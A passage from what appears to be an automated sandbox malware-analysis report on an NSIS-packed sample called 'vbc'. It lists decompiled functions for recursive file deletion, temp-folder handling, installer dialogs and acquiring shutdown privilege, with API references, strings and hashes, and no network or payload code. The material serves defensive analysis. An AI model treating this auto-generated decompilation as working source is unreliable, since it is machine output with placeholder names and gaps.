lstrcmpiW.KERNEL32(C:\Users\user\AppData\Local\Temp\,007B4800,C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,007B3000,00000000,?), ref: 00403A95
SetCurrentDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\), ref: 00403AB5
DeleteFileW.KERNEL32(0079F748,0079F748,?,007A9000,?), ref: 00403B14
CopyFileW.KERNEL32 ref: 00403B27
CloseHandle.KERNEL32(00000000), ref: 00403B54
ExitProcess.KERNELBASE(?), ref: 00403B72
OleUninitialize.OLE32 ref: 00403B77
ExitProcess.KERNEL32 ref: 00403B91
GetCurrentProcess.KERNEL32(00000028,?), ref: 00403BA5
OpenProcessToken.ADVAPI32(00000000), ref: 00403BAC
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403BC0
AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000), ref: 00403BDF
ExitWindowsEx.USER32(00000002,80040002), ref: 00403C04
ExitProcess.KERNEL32 ref: 00403C25

Strings

UXTHEME, xrefs: 00403734, 00403739, 0040373F
.tmp, xrefs: 00403A83
TMP, xrefs: 0040396F
NSIS Error, xrefs: 004037A7
TEMP, xrefs: 00403967
C:\Users\user\AppData\Local\Temp\, xrefs: 00403917, 0040391C, 00403932, 0040393E, 0040394D, 0040395A, 00403966, 0040396E, 00403A6C, 00403A7D, 00403A88, 00403A94, 00403AA5, 00403AB4, 00403B6A
SeShutdownPrivilege, xrefs: 00403BBA
Low, xrefs: 00403955
\Temp, xrefs: 00403939
~nsu, xrefs: 00403A67
Error launching installer, xrefs: 00403A18
Error writing temporary file. Make sure your temp folder is valid., xrefs: 0040365F
1033, xrefs: 00403983

Memory Dump Source

Source File: 00000004.00000002.987799312.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.987790728.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987830833.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987844954.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987854603.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988249278.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988285968.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988299511.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988316158.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988346737.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988352904.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988357871.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: Processlstrcat$ExitFile$Directory$CurrentDeleteEnvironmentPathTempTokenVariableVersionWindows$AdjustCharCloseCommandCopyCreateErrorHandleInfoInitializeLineLookupModeNextOpenPrivilegePrivilegesUninitializeValuelstrcmpilstrlen
String ID: .tmp$1033$C:\Users\user\AppData\Local\Temp\$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$~nsu
API String ID: 2292928366-4036104658
Opcode ID: 750da170c5ec3071fbc253d64d945ba09a8a0fe5a141c473f87f6f160000b61b
Instruction ID: 9002a92140da6a8b371a97510ecbbb4cdf1836846ed801e4a5207059f252ac0c
Opcode Fuzzy Hash: 750da170c5ec3071fbc253d64d945ba09a8a0fe5a141c473f87f6f160000b61b
Instruction Fuzzy Hash: EAE13571A00214AAD720AFB58D45BAF7EB9EB45709F10843EF541B62D1DB7C8E41CB2D

Uniqueness

Uniqueness Score: -1.00%

Function 00405D7A Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 148
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 98%

			E00405D7A(void* __eflags, signed int _a4, signed int _a8) {
				signed int _v8;
				signed int _v12;
				short _v556;
				short _v558;
				struct _WIN32_FIND_DATAW _v604;
				signed int _t38;
				signed int _t52;
				signed int _t55;
				signed int _t62;
				void* _t64;
				signed char _t65;
				WCHAR* _t66;
				void* _t67;
				WCHAR* _t68;
				void* _t70;

				_t65 = _a8;
				_t68 = _a4;
				_v8 = _t65 & 0x00000004;
				_t38 = E00406045(__eflags, _t68);
				_v12 = _t38;
				if((_t65 & 0x00000008) != 0) {
					_t62 = DeleteFileW(_t68); // executed
					asm("sbb eax, eax");
					_t64 =  ~_t62 + 1;
					 *0x7a8b28 =  *0x7a8b28 + _t64;
					return _t64;
				}
				_a4 = _t65;
				_t8 =  &_a4;
				 *_t8 = _a4 & 0x00000001;
				__eflags =  *_t8;
				if( *_t8 == 0) {
					L5:
					E0040666E(0x7a3f90, _t68);
					__eflags = _a4;
					if(_a4 == 0) {
						E00405F89(_t68);
					} else {
						lstrcatW(0x7a3f90, L"\\*.*");
					}
					__eflags =  *_t68;
					if( *_t68 != 0) {
						L10:
						lstrcatW(_t68, 0x40a014);
						L11:
						_t66 =  &(_t68[lstrlenW(_t68)]);
						_t38 = FindFirstFileW(0x7a3f90,  &_v604); // executed
						_t70 = _t38;
						__eflags = _t70 - 0xffffffff;
						if(_t70 == 0xffffffff) {
							L26:
							__eflags = _a4;
							if(_a4 != 0) {
								_t30 = _t66 - 2;
								 *_t30 =  *(_t66 - 2) & 0x00000000;
								__eflags =  *_t30;
							}
							goto L28;
						} else {
							goto L12;
						}
						do {
							L12:
							__eflags = _v604.cFileName - 0x2e;
							if(_v604.cFileName != 0x2e) {
								L16:
								E0040666E(_t66,  &(_v604.cFileName));
								__eflags = _v604.dwFileAttributes & 0x00000010;
								if(__eflags == 0) {
									_t52 = E00405D32(__eflags, _t68, _v8);
									__eflags = _t52;
									if(_t52 != 0) {
										E004056D0(0xfffffff2, _t68);
									} else {
										__eflags = _v8 - _t52;
										if(_v8 == _t52) {
											 *0x7a8b28 =  *0x7a8b28 + 1;
										} else {
											E004056D0(0xfffffff1, _t68);
											E0040642E(_t67, _t68, 0);
										}
									}
								} else {
									__eflags = (_a8 & 0x00000003) - 3;
									if(__eflags == 0) {
										E00405D7A(__eflags, _t68, _a8);
									}
								}
								goto L24;
							}
							__eflags = _v558;
							if(_v558 == 0) {
								goto L24;
							}
							__eflags = _v558 - 0x2e;
							if(_v558 != 0x2e) {
								goto L16;
							}
							__eflags = _v556;
							if(_v556 == 0) {
								goto L24;
							}
							goto L16;
							L24:
							_t55 = FindNextFileW(_t70,  &_v604); // executed
							__eflags = _t55;
						} while (_t55 != 0);
						_t38 = FindClose(_t70); // executed
						goto L26;
					}
					__eflags =  *0x7a3f90 - 0x5c;
					if( *0x7a3f90 != 0x5c) {
						goto L11;
					}
					goto L10;
				} else {
					__eflags = _t38;
					if(_t38 == 0) {
						L28:
						__eflags = _a4;
						if(_a4 == 0) {
							L36:
							return _t38;
						}
						__eflags = _v12;
						if(_v12 != 0) {
							_t38 = E004069A4(_t68);
							__eflags = _t38;
							if(_t38 == 0) {
								goto L36;
							}
							E00405F3D(_t68);
							_t38 = E00405D32(__eflags, _t68, _v8 | 0x00000001);
							__eflags = _t38;
							if(_t38 != 0) {
								return E004056D0(0xffffffe5, _t68);
							}
							__eflags = _v8;
							if(_v8 == 0) {
								goto L30;
							}
							E004056D0(0xfffffff1, _t68);
							return E0040642E(_t67, _t68, 0);
						}
						L30:
						 *0x7a8b28 =  *0x7a8b28 + 1;
						return _t38;
					}
					__eflags = _t65 & 0x00000002;
					if((_t65 & 0x00000002) == 0) {
						goto L28;
					}
					goto L5;
				}
			}

0x00405d84
0x00405d89
0x00405d92
0x00405d95
0x00405d9d
0x00405da0
0x00405da3
0x00405dab
0x00405dad
0x00405dae
0x00000000
0x00405dae
0x00405db9
0x00405dbc
0x00405dbc
0x00405dbc
0x00405dc0
0x00405dd3
0x00405dda
0x00405ddf
0x00405de3
0x00405df3
0x00405de5
0x00405deb
0x00405deb
0x00405df8
0x00405dfc
0x00405e08
0x00405e0e
0x00405e13
0x00405e19
0x00405e24
0x00405e2a
0x00405e2c
0x00405e2f
0x00405ed9
0x00405ed9
0x00405edd
0x00405edf
0x00405edf
0x00405edf
0x00405edf
0x00000000
0x00000000
0x00000000
0x00000000
0x00405e35
0x00405e35
0x00405e35
0x00405e3d
0x00405e5d
0x00405e65
0x00405e6a
0x00405e71
0x00405e8c
0x00405e91
0x00405e93
0x00405eb7
0x00405e95
0x00405e95
0x00405e98
0x00405eac
0x00405e9a
0x00405e9d
0x00405ea5
0x00405ea5
0x00405e98
0x00405e73
0x00405e79
0x00405e7b
0x00405e81
0x00405e81
0x00405e7b
0x00000000
0x00405e71
0x00405e3f
0x00405e47
0x00000000
0x00000000
0x00405e49
0x00405e51
0x00000000
0x00000000
0x00405e53
0x00405e5b
0x00000000
0x00000000
0x00000000
0x00405ebc
0x00405ec4
0x00405eca
0x00405eca
0x00405ed3
0x00000000
0x00405ed3
0x00405dfe
0x00405e06
0x00000000
0x00000000
0x00000000
0x00405dc2
0x00405dc2
0x00405dc4
0x00405ee4
0x00405ee6
0x00405ee9
0x00405f3a
0x00405f3a
0x00405f3a
0x00405eeb
0x00405eee
0x00405ef9
0x00405efe
0x00405f00
0x00000000
0x00000000
0x00405f03
0x00405f0f
0x00405f14
0x00405f16
0x00000000
0x00405f31
0x00405f18
0x00405f1b
0x00000000
0x00000000
0x00405f20
0x00000000
0x00405f27
0x00405ef0
0x00405ef0
0x00000000
0x00405ef0
0x00405dca
0x00405dcd
0x00000000
0x00000000
0x00000000
0x00405dcd

APIs

DeleteFileW.KERNELBASE(?,?,7556D4C4,755513E0,00000000), ref: 00405DA3
lstrcatW.KERNEL32 ref: 00405DEB
lstrcatW.KERNEL32 ref: 00405E0E
lstrlenW.KERNEL32(?,?,0040A014,?,007A3F90,?,?,7556D4C4,755513E0,00000000), ref: 00405E14
FindFirstFileW.KERNELBASE(007A3F90,?,?,?,0040A014,?,007A3F90,?,?,7556D4C4,755513E0,00000000), ref: 00405E24
FindNextFileW.KERNELBASE(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 00405EC4
FindClose.KERNELBASE(00000000), ref: 00405ED3

Strings

\*.*, xrefs: 00405DE5
., xrefs: 00405E49
., xrefs: 00405E35

Memory Dump Source

Source File: 00000004.00000002.987799312.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.987790728.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987830833.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987844954.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987854603.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988249278.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988285968.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988299511.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988316158.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988346737.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988352904.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988357871.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: .$.$\*.*
API String ID: 2035342205-3749113046
Opcode ID: 2c15840b85a1da03f103e354df9429e37a0661891549dd982a13389e768be2bb
Instruction ID: b1f38bcf7b39c15e0faf9db06640fc0f7a2e3671fe4bba31c24ee78ec55d2bca
Opcode Fuzzy Hash: 2c15840b85a1da03f103e354df9429e37a0661891549dd982a13389e768be2bb
Instruction Fuzzy Hash: 5541E230800A15AADB21AB61CC49ABF7678DF42714F20813FF845B11D1EB7C4E91DEAE

Uniqueness

Uniqueness Score: -1.00%

Function 004069A4 Relevance: 3.0, APIs: 2, Instructions: 14
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004069A4(WCHAR* _a4) {
				void* _t2;

				_t2 = FindFirstFileW(_a4, 0x7a4fd8); // executed
				if(_t2 == 0xffffffff) {
					return 0;
				}
				FindClose(_t2);
				return 0x7a4fd8;
			}

0x004069af
0x004069b8
0x00000000
0x004069c5
0x004069bb
0x00000000

APIs

FindFirstFileW.KERNELBASE(7556D4C4,007A4FD8,007A4790,0040608E,007A4790,007A4790,00000000,007A4790,007A4790,7556D4C4,?,755513E0,00405D9A,?,7556D4C4,755513E0), ref: 004069AF
FindClose.KERNEL32(00000000), ref: 004069BB

Memory Dump Source

Source File: 00000004.00000002.987799312.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.987790728.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987830833.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987844954.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987854603.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988249278.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988285968.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988299511.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988316158.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988346737.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988352904.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988357871.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 721887c06873c2ed1700ed969bf0ce4ded3b87a21ff0d7dab6a5e84a2f4fc02f
Instruction ID: 60c22f5c8fe31c667ed350a31965a044de81702d272a45ebe5fc25ec47674b4c
Opcode Fuzzy Hash: 721887c06873c2ed1700ed969bf0ce4ded3b87a21ff0d7dab6a5e84a2f4fc02f
Instruction Fuzzy Hash: 47D012F15191205FCB4017786E0C84B7A589F573313264B36B0A6F55E0D6748C3787AC

Uniqueness

Uniqueness Score: -1.00%

Function 004040CB Relevance: 51.4, APIs: 34, Instructions: 357
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 84%

			E004040CB(struct HWND__* _a4, intOrPtr _a8, int _a12, long _a16) {
				struct HWND__* _v28;
				void* _v84;
				void* _v88;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t34;
				signed int _t36;
				signed int _t38;
				struct HWND__* _t48;
				signed int _t67;
				struct HWND__* _t73;
				signed int _t86;
				struct HWND__* _t91;
				signed int _t99;
				int _t103;
				signed int _t117;
				int _t118;
				int _t122;
				signed int _t124;
				struct HWND__* _t127;
				struct HWND__* _t128;
				int _t129;
				intOrPtr _t130;
				long _t133;
				int _t135;
				int _t136;
				void* _t137;

				_t130 = _a8;
				if(_t130 == 0x110 || _t130 == 0x408) {
					_t34 = _a12;
					_t127 = _a4;
					__eflags = _t130 - 0x110;
					 *0x7a1f70 = _t34;
					if(_t130 == 0x110) {
						 *0x7a8aa8 = _t127;
						 *0x7a1f84 = GetDlgItem(_t127, 1);
						_t91 = GetDlgItem(_t127, 2);
						_push(0xffffffff);
						_push(0x1c);
						 *0x79ff50 = _t91;
						E004045CA(_t127);
						SetClassLongW(_t127, 0xfffffff2,  *0x7a7a88);
						 *0x7a7a6c = E0040140B(4);
						_t34 = 1;
						__eflags = 1;
						 *0x7a1f70 = 1;
					}
					_t124 =  *0x40a39c; // 0x0
					_t136 = 0;
					_t133 = (_t124 << 6) +  *0x7a8ac0;
					__eflags = _t124;
					if(_t124 < 0) {
						L36:
						E00404616(0x40b);
						while(1) {
							_t36 =  *0x7a1f70;
							 *0x40a39c =  *0x40a39c + _t36;
							_t133 = _t133 + (_t36 << 6);
							_t38 =  *0x40a39c; // 0x0
							__eflags = _t38 -  *0x7a8ac4;
							if(_t38 ==  *0x7a8ac4) {
								E0040140B(1);
							}
							__eflags =  *0x7a7a6c - _t136;
							if( *0x7a7a6c != _t136) {
								break;
							}
							__eflags =  *0x40a39c -  *0x7a8ac4; // 0x0
							if(__eflags >= 0) {
								break;
							}
							_t117 =  *(_t133 + 0x14);
							E004066AB(_t117, _t127, _t133, 0x7b8000,  *((intOrPtr*)(_t133 + 0x24)));
							_push( *((intOrPtr*)(_t133 + 0x20)));
							_push(0xfffffc19);
							E004045CA(_t127);
							_push( *((intOrPtr*)(_t133 + 0x1c)));
							_push(0xfffffc1b);
							E004045CA(_t127);
							_push( *((intOrPtr*)(_t133 + 0x28)));
							_push(0xfffffc1a);
							E004045CA(_t127);
							_t48 = GetDlgItem(_t127, 3);
							__eflags =  *0x7a8b2c - _t136;
							_v28 = _t48;
							if( *0x7a8b2c != _t136) {
								_t117 = _t117 & 0x0000fefd | 0x00000004;
								__eflags = _t117;
							}
							ShowWindow(_t48, _t117 & 0x00000008);
							EnableWindow( *(_t137 + 0x34), _t117 & 0x00000100);
							E004045EC(_t117 & 0x00000002);
							_t118 = _t117 & 0x00000004;
							EnableWindow( *0x79ff50, _t118);
							__eflags = _t118 - _t136;
							if(_t118 == _t136) {
								_push(1);
							} else {
								_push(_t136);
							}
							EnableMenuItem(GetSystemMenu(_t127, _t136), 0xf060, ??);
							SendMessageW( *(_t137 + 0x3c), 0xf4, _t136, 1);
							__eflags =  *0x7a8b2c - _t136;
							if( *0x7a8b2c == _t136) {
								_push( *0x7a1f84);
							} else {
								SendMessageW(_t127, 0x401, 2, _t136);
								_push( *0x79ff50);
							}
							E004045FF();
							E0040666E(0x7a1f88, E004040AC());
							E004066AB(0x7a1f88, _t127, _t133,  &(0x7a1f88[lstrlenW(0x7a1f88)]),  *((intOrPtr*)(_t133 + 0x18)));
							SetWindowTextW(_t127, 0x7a1f88);
							_push(_t136);
							_t67 = E00401389( *((intOrPtr*)(_t133 + 8)));
							__eflags = _t67;
							if(_t67 != 0) {
								continue;
							} else {
								__eflags =  *_t133 - _t136;
								if( *_t133 == _t136) {
									continue;
								}
								__eflags =  *(_t133 + 4) - 5;
								if( *(_t133 + 4) != 5) {
									DestroyWindow( *0x7a7a78);
									 *0x7a0f60 = _t133;
									__eflags =  *_t133 - _t136;
									if( *_t133 <= _t136) {
										goto L60;
									}
									_t73 = CreateDialogParamW( *0x7a8aa0,  *_t133 +  *0x7a7a80 & 0x0000ffff, _t127,  *(0x40a3a0 +  *(_t133 + 4) * 4), _t133);
									__eflags = _t73 - _t136;
									 *0x7a7a78 = _t73;
									if(_t73 == _t136) {
										goto L60;
									}
									_push( *((intOrPtr*)(_t133 + 0x2c)));
									_push(6);
									E004045CA(_t73);
									GetWindowRect(GetDlgItem(_t127, 0x3fa), _t137 + 0x10);
									ScreenToClient(_t127, _t137 + 0x10);
									SetWindowPos( *0x7a7a78, _t136,  *(_t137 + 0x20),  *(_t137 + 0x20), _t136, _t136, 0x15);
									_push(_t136);
									E00401389( *((intOrPtr*)(_t133 + 0xc)));
									__eflags =  *0x7a7a6c - _t136;
									if( *0x7a7a6c != _t136) {
										goto L63;
									}
									ShowWindow( *0x7a7a78, 8);
									E00404616(0x405);
									goto L60;
								}
								__eflags =  *0x7a8b2c - _t136;
								if( *0x7a8b2c != _t136) {
									goto L63;
								}
								__eflags =  *0x7a8b20 - _t136;
								if( *0x7a8b20 != _t136) {
									continue;
								}
								goto L63;
							}
						}
						DestroyWindow( *0x7a7a78); // executed
						 *0x7a8aa8 = _t136;
						EndDialog(_t127,  *0x7a0758); // executed
						goto L60;
					} else {
						__eflags = _t34 - 1;
						if(_t34 != 1) {
							L35:
							__eflags =  *_t133 - _t136;
							if( *_t133 == _t136) {
								goto L63;
							}
							goto L36;
						}
						_push(0);
						_t86 = E00401389( *((intOrPtr*)(_t133 + 0x10)));
						__eflags = _t86;
						if(_t86 == 0) {
							goto L35;
						}
						SendMessageW( *0x7a7a78, 0x40f, 0, 1);
						__eflags =  *0x7a7a6c;
						return 0 |  *0x7a7a6c == 0x00000000;
					}
				} else {
					_t127 = _a4;
					_t136 = 0;
					if(_t130 == 0x47) {
						SetWindowPos( *0x7a1f68, _t127, 0, 0, 0, 0, 0x13);
					}
					_t122 = _a12;
					if(_t130 != 5) {
						L8:
						if(_t130 != 0x40d) {
							__eflags = _t130 - 0x11;
							if(_t130 != 0x11) {
								__eflags = _t130 - 0x111;
								if(_t130 != 0x111) {
									goto L28;
								}
								_t135 = _t122 & 0x0000ffff;
								_t128 = GetDlgItem(_t127, _t135);
								__eflags = _t128 - _t136;
								if(_t128 == _t136) {
									L15:
									__eflags = _t135 - 1;
									if(_t135 != 1) {
										__eflags = _t135 - 3;
										if(_t135 != 3) {
											_t129 = 2;
											__eflags = _t135 - _t129;
											if(_t135 != _t129) {
												L27:
												SendMessageW( *0x7a7a78, 0x111, _t122, _a16);
												goto L28;
											}
											__eflags =  *0x7a8b2c - _t136;
											if( *0x7a8b2c == _t136) {
												_t99 = E0040140B(3);
												__eflags = _t99;
												if(_t99 != 0) {
													goto L28;
												}
												 *0x7a0758 = 1;
												L23:
												_push(0x78);
												L24:
												E004045A3();
												goto L28;
											}
											E0040140B(_t129);
											 *0x7a0758 = _t129;
											goto L23;
										}
										__eflags =  *0x40a39c - _t136; // 0x0
										if(__eflags <= 0) {
											goto L27;
										}
										_push(0xffffffff);
										goto L24;
									}
									_push(_t135);
									goto L24;
								}
								SendMessageW(_t128, 0xf3, _t136, _t136);
								_t103 = IsWindowEnabled(_t128);
								__eflags = _t103;
								if(_t103 == 0) {
									L63:
									return 0;
								}
								goto L15;
							}
							SetWindowLongW(_t127, _t136, _t136);
							return 1;
						}
						DestroyWindow( *0x7a7a78);
						 *0x7a7a78 = _t122;
						L60:
						if( *0x7a3f88 == _t136 &&  *0x7a7a78 != _t136) {
							ShowWindow(_t127, 0xa);
							 *0x7a3f88 = 1;
						}
						goto L63;
					} else {
						asm("sbb eax, eax");
						ShowWindow( *0x7a1f68,  ~(_t122 - 1) & 0x00000005);
						if(_t122 != 2 || (GetWindowLongW(_t127, 0xfffffff0) & 0x21010000) != 0x1000000) {
							L28:
							return E00404631(_a8, _t122, _a16);
						} else {
							ShowWindow(_t127, 4);
							goto L8;
						}
					}
				}
			}

0x004040d6
0x004040dd
0x00404244
0x00404248
0x0040424c
0x0040424e
0x00404253
0x0040425e
0x00404269
0x0040426e
0x00404270
0x00404272
0x00404275
0x0040427a
0x00404288
0x00404295
0x0040429c
0x0040429c
0x0040429d
0x0040429d
0x004042a2
0x004042a8
0x004042af
0x004042b5
0x004042b7
0x004042f7
0x004042fc
0x00404301
0x00404301
0x00404306
0x0040430f
0x00404311
0x00404316
0x0040431c
0x00404320
0x00404320
0x00404325
0x0040432b
0x00000000
0x00000000
0x00404336
0x0040433c
0x00000000
0x00000000
0x00404345
0x0040434d
0x00404352
0x00404355
0x0040435b
0x00404360
0x00404363
0x00404369
0x0040436e
0x00404371
0x00404377
0x0040437f
0x00404385
0x0040438b
0x0040438f
0x00404396
0x00404396
0x00404396
0x004043a0
0x004043b2
0x004043be
0x004043c3
0x004043cd
0x004043d3
0x004043d5
0x004043da
0x004043d7
0x004043d7
0x004043d7
0x004043ea
0x00404402
0x00404404
0x0040440a
0x0040441f
0x0040440c
0x00404415
0x00404417
0x00404417
0x00404425
0x00404436
0x0040444c
0x00404453
0x00404459
0x0040445d
0x00404462
0x00404464
0x00000000
0x0040446a
0x0040446a
0x0040446c
0x00000000
0x00000000
0x00404472
0x00404476
0x0040449b
0x004044a1
0x004044a7
0x004044a9
0x00000000
0x00000000
0x004044cf
0x004044d5
0x004044d7
0x004044dc
0x00000000
0x00000000
0x004044e2
0x004044e5
0x004044e8
0x004044ff
0x0040450b
0x00404524
0x0040452a
0x0040452e
0x00404533
0x00404539
0x00000000
0x00000000
0x00404543
0x0040454e
0x00000000
0x0040454e
0x00404478
0x0040447e
0x00000000
0x00000000
0x00404484
0x0040448a
0x00000000
0x00000000
0x00000000
0x00404490
0x00404464
0x0040455b
0x00404567
0x0040456e
0x00000000
0x004042b9
0x004042b9
0x004042bc
0x004042ef
0x004042ef
0x004042f1
0x00000000
0x00000000
0x00000000
0x004042f1
0x004042be
0x004042c2
0x004042c7
0x004042c9
0x00000000
0x00000000
0x004042d9
0x004042e1
0x00000000
0x004042e7
0x004040ef
0x004040ef
0x004040f3
0x004040f8
0x00404107
0x00404107
0x0040410d
0x00404114
0x00404158
0x0040415e
0x00404177
0x0040417a
0x0040418d
0x00404193
0x00000000
0x00000000
0x00404199
0x004041a4
0x004041a6
0x004041a8
0x004041c7
0x004041c7
0x004041ca
0x004041cf
0x004041d2
0x004041e2
0x004041e3
0x004041e5
0x0040421b
0x0040422b
0x00000000
0x0040422b
0x004041e7
0x004041ed
0x00404206
0x0040420b
0x0040420d
0x00000000
0x00000000
0x0040420f
0x004041fb
0x004041fb
0x004041fd
0x004041fd
0x00000000
0x004041fd
0x004041f0
0x004041f5
0x00000000
0x004041f5
0x004041d4
0x004041da
0x00000000
0x00000000
0x004041dc
0x00000000
0x004041dc
0x004041cc
0x00000000
0x004041cc
0x004041b2
0x004041b9
0x004041bf
0x004041c1
0x00404597
0x00000000
0x00404597
0x00000000
0x004041c1
0x0040417f
0x00000000
0x00404187
0x00404166
0x0040416c
0x00404574
0x0040457a
0x00404587
0x0040458d
0x0040458d
0x00000000
0x00404116
0x0040411b
0x00404127
0x00404130
0x00404231
0x00000000
0x0040414f
0x00404152
0x00000000
0x00404152
0x00404130
0x00404114

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00404107
ShowWindow.USER32(?), ref: 00404127
GetWindowLongW.USER32(?,000000F0), ref: 00404139
ShowWindow.USER32(?,00000004), ref: 00404152
DestroyWindow.USER32 ref: 00404166
SetWindowLongW.USER32 ref: 0040417F
GetDlgItem.USER32(?,?), ref: 0040419E
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 004041B2
IsWindowEnabled.USER32(00000000), ref: 004041B9
GetDlgItem.USER32(?,00000001), ref: 00404264
GetDlgItem.USER32(?,00000002), ref: 0040426E
SetClassLongW.USER32(?,000000F2,?), ref: 00404288
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 004042D9
GetDlgItem.USER32(?,00000003), ref: 0040437F
ShowWindow.USER32(00000000,?), ref: 004043A0
EnableWindow.USER32(?,?), ref: 004043B2
EnableWindow.USER32(?,?), ref: 004043CD
GetSystemMenu.USER32 ref: 004043E3
EnableMenuItem.USER32 ref: 004043EA
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 00404402
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 00404415
lstrlenW.KERNEL32(007A1F88,?,007A1F88,00000000), ref: 0040443F
SetWindowTextW.USER32 ref: 00404453
ShowWindow.USER32(?,0000000A), ref: 00404587

Memory Dump Source

Source File: 00000004.00000002.987799312.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.987790728.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987830833.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987844954.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.987854603.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988249278.000000000077C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988285968.0000000000782000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988299511.0000000000786000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988316158.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988346737.00000000007A6000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988352904.00000000007B5000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.988357871.00000000007B9000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_vbc.jbxd

Similarity

API ID: Window$Item$MessageSendShow$EnableLong$Menu$ClassDestroyEnabledSystemTextlstrlen
String ID:
API String ID: 1860320154-0
Opcode ID: c3199f5d2ce6d65744aaa9316b253cb325a561f7dca841ae501f2507a703712f
Instruction ID: f65a6081c11fa3fb00f54a078e57315272211b1d7c342d1bec1514082707246b
Opcode Fuzzy Hash: c3199f5d2ce6d65744aaa9316b253cb325a561f7dca841ae501f2507a703712f
